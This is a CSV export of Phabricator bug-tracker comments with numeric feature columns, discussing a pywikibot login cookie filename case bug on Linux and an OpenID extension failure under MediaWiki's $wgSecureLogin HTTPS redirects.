468082,*-login.data can have case discrepency on Linux host,,,,1433302490,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267944,*-login.data can have case discrepency on Linux host,,,,1380948039,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
468081,*-login.data can have case discrepency on Linux host,,,,1433302483,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267940,*-login.data can have case discrepency on Linux host,,,,1380948037,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
468079,*-login.data can have case discrepency on Linux host,,,,1433302475,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267935,*-login.data can have case discrepency on Linux host,,,,1380948035,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
468078,*-login.data can have case discrepency on Linux host,,,,1433302468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267931,*-login.data can have case discrepency on Linux host,,,,1380948033,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
267925,*-login.data can have case discrepency on Linux host,"After thinking even more on this issue, even for those not using LDAP authentication \(which I would assume the majority are not using\), correct casing based on the user-config file shouldn't have undesirable effects: if you can log in with what's in the user config file then correctly saving the cookie file with that username shouldn't negatively impact anything. On the other hand if you do not save the cookie file with the same user name that is in the user-config file, but you continue to use the user-config file to generate the localPA variable, then you may have problems on case sensitive platforms.

If this fix seems to difficult \(I don't believe it to be\) or you're suspicious of the logic, you may want to place a warning in the setup instructions. I've added a comment on the wiki for userconfig.py that people using \*nix systems should be aware that by default mediawiki has uppercase user names.",,,1380948031,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.5,0.0,0.0,3.0,4.5,1.5,0.0,0.0,1.5,2.0,2.5,0.0,0.0,0.0,1.0,0.0,6.5,14.5,0.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,5.5,1.5,0.5,1.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,20.0,0.0,2.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,8.0,1.5,3.0,2.5,1.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,14.5,2.5,0.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,2.0,0.5,0.0,0.5,4.163819875776397,0.7160774008600095,"After thinking even more on this issue, even for those not using LDAP authentication \(which I would assume the majority are not using\), correct casing based on the user-config file shouldn't have undesirable effects: if you can log in with what's in the user config file then correctly saving the cookie file with that username shouldn't negatively impact anything. On the other hand if you do not save the cookie file with the same user name that is in the user-config file, but you continue to use the user-config file to generate the localPA variable, then you may have problems on case sensitive platforms.

If this fix seems to difficult \(I don't believe it to be\) or you're suspicious of the logic, you may want to place a warning in the setup instructions. I've added a comment on the wiki for userconfig.py that people using \*nix systems should be aware that by default mediawiki has uppercase user names."
267917,*-login.data can have case discrepency on Linux host,"After rereading the LDAP link, you're probably right in that the it's the actual mediawiki login that is forcing uppercase, nonetheless the file name that pywiki attempts to find should be case correct irrelevant of the username supplied or returned. My thought for that fix has to do with correctly saving the \*-login.data cookie with the username found in user-config.py.",,,1380948030,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,3.0,5.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,2.0,4.7727272727272725,0.7727272727272727,"After rereading the LDAP link, you're probably right in that the it's the actual mediawiki login that is forcing uppercase, nonetheless the file name that pywiki attempts to find should be case correct irrelevant of the username supplied or returned. My thought for that fix has to do with correctly saving the \*-login.data cookie with the username found in user-config.py."
267912,*-login.data can have case discrepency on Linux host,"It has very much to do with LDAP: http://www.mediawiki.org/wiki/Extension:LDAP\_Authentication/User\_Provided\_Information\#Capitalize\_user\_name\_as\_in\_LDAP

And it has very much to do with Linux: Linux path names are case sensitive. 

I reported the bug as it took me time to track down and perhaps someone else who has the misfortune of dealing with it will find this helpful.

The fact is that if I can login with a lower case name, and I can, then whatever pywiki stores should be in the same case, NOT what may be returned when the wiki user name is returned. The file name for \*-login.data should be the same case as what is stored in user-config.py

This is just good practice, especially on a case sensitive host like Linux.

Also, as mediawiki is authenticating against LDAP, whatever it stores as the username is irrelevant if it correctly authenticates. A further reason to enforce correct casing based on the user-config.py file.",,,1380948028,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,1.0,0.5,1.0,2.0,0.5,7.0,3.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,2.0,0.5,7.0,13.0,0.5,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,6.5,1.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,14.5,0.5,1.0,0.5,0.5,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,5.5,9.0,2.0,1.5,9.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,3.5,0.0,0.0,0.0,5.0,0.0,3.5,1.5,0.5,1.0,0.5,0.0,0.0,4.014775910364145,0.6922268907563025,"It has very much to do with LDAP: URL

And it has very much to do with Linux: Linux path names are case sensitive. 

I reported the bug as it took me time to track down and perhaps someone else who has the misfortune of dealing with it will find this helpful.

The fact is that if I can login with a lower case name, and I can, then whatever pywiki stores should be in the same case, NOT what may be returned when the wiki user name is returned. The file name for \*-login.data should be the same case as what is stored in user-config.py

This is just good practice, especially on a case sensitive host like Linux.

Also, as mediawiki is authenticating against LDAP, whatever it stores as the username is irrelevant if it correctly authenticates. A further reason to enforce correct casing based on the user-config.py file."
267906,*-login.data can have case discrepency on Linux host,"This has very little to do with Linux or LDAP, but rather has to do with the fact your username is 'James' and not 'james'. This is related to the 'first character is capitalized' convention on some wikis, but not all \(\!\).

However, we could probably check whether the name has changed when the user is logged in and emit a warning when this happens \(and/or store the cookie with the username as saved in the config file, but that could have some unintended consequences\).",,,1380948026,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,2.0,0.0,0.5,2.0,1.0,2.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,7.0,2.5,3.5,3.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.5,8.0,2.5,0.0,3.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.5,3.828242835595777,0.7483031674208145,"This has very little to do with Linux or LDAP, but rather has to do with the fact your username is 'James' and not 'james'. This is related to the 'first character is capitalized' convention on some wikis, but not all \(\!\).

However, we could probably check whether the name has changed when the user is logged in and emit a warning when this happens \(and/or store the cookie with the username as saved in the config file, but that could have some unintended consequences\)."
267899,*-login.data can have case discrepency on Linux host,Quick comment: \_loadCookies\(\) is in wikipedia.py on line 5534,,,1380948024,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,1.0,Quick comment: \_loadCookies\(\) is in wikipedia.py on line 5534
56512,E:OpenID needs to work with $wgSecureLogin,"Special:OpenIDXRDS returns URLs based on $wgCanonicalServer. But when it attempts to redirect the user to these URLs, the forceHTTPS cookie kicks in and triggers a redirect to the corresponding https URL, which then fails due to loss of POST data.

Chris suggests this be worked around somehow in OpenID rather than having core use a 307 redirect instead of a 302.

--------------------------
**Version**: master
**Severity**: normal",Low,25.0,1380039540,1698244594.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-USER-j7jwnj5chzo76nqqvgqc,False,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_description,declined,True,c3,1,True,False,False,-93,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,13.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,13.0,8.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.2272727272727275,0.7045454545454546,"Special:OpenIDXRDS returns URLs based on $wgCanonicalServer. But when it attempts to redirect the user to these URLs, the forceHTTPS cookie kicks in and triggers a redirect to the corresponding https URL, which then fails due to loss of POST data.

Chris suggests this be worked around somehow in OpenID rather than having core use a 307 redirect instead of a 302.

--------------------------
**Version**: master
**Severity**: normal"
2217897,E:OpenID needs to work with $wgSecureLogin,Per {T322820}.,,,1698244594,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,3,True,,,433,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,1.0,Per {T322820}.
477200,E:OpenID needs to work with $wgSecureLogin,[Resetting task assignee to avoid cookie-licking. Please reclaim the task when you plan to actively work on this task. Thanks!],,,1434636534,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,4.0,0.0,11.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.8518518518518519,[Resetting task assignee to avoid cookie-licking. Please reclaim the task when you plan to actively work on this task. Thanks!]
258677,E:OpenID needs to work with $wgSecureLogin,"see also 
- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/Return_to_Special:Badtitle_instead_of_the_main_page_after_verification_has_succeeded
- https://www.mediawiki.org/wiki/Thread:Extension_talk:OpenID/https_site_and_Special:Badtitle

which appear to be related bug reports on the extension's talk page.",,,1395817143,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-67,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3043478260869565,0.8695652173913043,"see also 
- URL
- URL

which appear to be related bug reports on the extension's talk page."
258673,E:OpenID needs to work with $wgSecureLogin,"(In reply to comment #5)
> difficult issue. But let me add what I know.
> 
> * Since it was mentioned above, 307 redirects don't seem to work in FF or
> Chrome for this, otherwise I'd be happy to do that in core. 
> 
> * The issue seems to be that when the consumer does the XRDS querries, the
> provider gives back http:// urls, even with wgSecureLogin enabled.
> ...

> But that's about as far as I was able to get. So it may be a fix inside of
> the library

This is also my view of the story. But my current thinking is, it _could_ be fixed in the library.



Only as a remark, not related to this bug:

I found - and fixed in E:OpenID - already at least one other issue with the library (the library does not return a correct return value for certificate errors)",,,1380837599,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,1.0,2.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,17.0,0.0,2.0,9.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,3.33,0.61,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

This is also my view of the story. But my current thinking is, it _could_ be fixed in the library.



Only as a remark, not related to this bug:

I found - and fixed in E:OpenID - already at least one other issue with the library (the library does not return a correct return value for certificate errors)"
258668,E:OpenID needs to work with $wgSecureLogin,"I tried to hack on it for a couple hours while reviewing it, and it's a difficult issue. But let me add what I know.

* Since it was mentioned above, 307 redirects don't seem to work in FF or Chrome for this, otherwise I'd be happy to do that in core. 

* The issue seems to be that when the consumer does the XRDS querries, the provider gives back http:// urls, even with wgSecureLogin enabled. When it's hacked to only return https:// something else in the Auth library is failing. When I return both, it will POST to the https url, but later it gives throws an exception about a missmatch in the urls.

But that's about as far as I was able to get. So it may be a fix inside of the library, or it might be a fix for the return of Special:OpenIDXRDS.",,,1380837161,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.5,0.0,0.5,0.5,1.5,2.5,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,3.0,0.0,8.5,13.0,0.5,3.0,0.0,1.0,0.0,2.0,0.0,0.0,1.5,1.0,1.0,0.0,6.0,0.5,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,11.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,8.0,4.0,10.5,3.0,3.0,10.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,8.5,13.0,4.5,0.0,0.0,0.0,8.5,0.0,2.0,3.5,0.5,1.0,0.5,0.0,0.0,3.5148356054530874,0.681903234429297,"I tried to hack on it for a couple hours while reviewing it, and it's a difficult issue. But let me add what I know.

* Since it was mentioned above, 307 redirects don't seem to work in FF or Chrome for this, otherwise I'd be happy to do that in core. 

* The issue seems to be that when the consumer does the XRDS querries, the provider gives back http:// urls, even with wgSecureLogin enabled. When it's hacked to only return https:// something else in the Auth library is failing. When I return both, it will POST to the https url, but later it gives throws an exception about a missmatch in the urls.

But that's about as far as I was able to get. So it may be a fix inside of the library, or it might be a fix for the return of Special:OpenIDXRDS."
258663,E:OpenID needs to work with $wgSecureLogin,"perhaps better the other way around, you are right.

Can you help to fix it ?",,,1380809350,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.3157894736842106,0.9473684210526315,"perhaps better the other way around, you are right.

Can you help to fix it ?"
258658,E:OpenID needs to work with $wgSecureLogin,*** Bug 44353 has been marked as a duplicate of this bug. ***,,,1380809277,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 44353 has been marked as a duplicate of this bug. ***
258650,E:OpenID needs to work with $wgSecureLogin,"

*** This bug has been marked as a duplicate of bug 44353 ***",,,1380787870,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-2ktyb4kb3givw3wn5ioy,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 44353 ***"
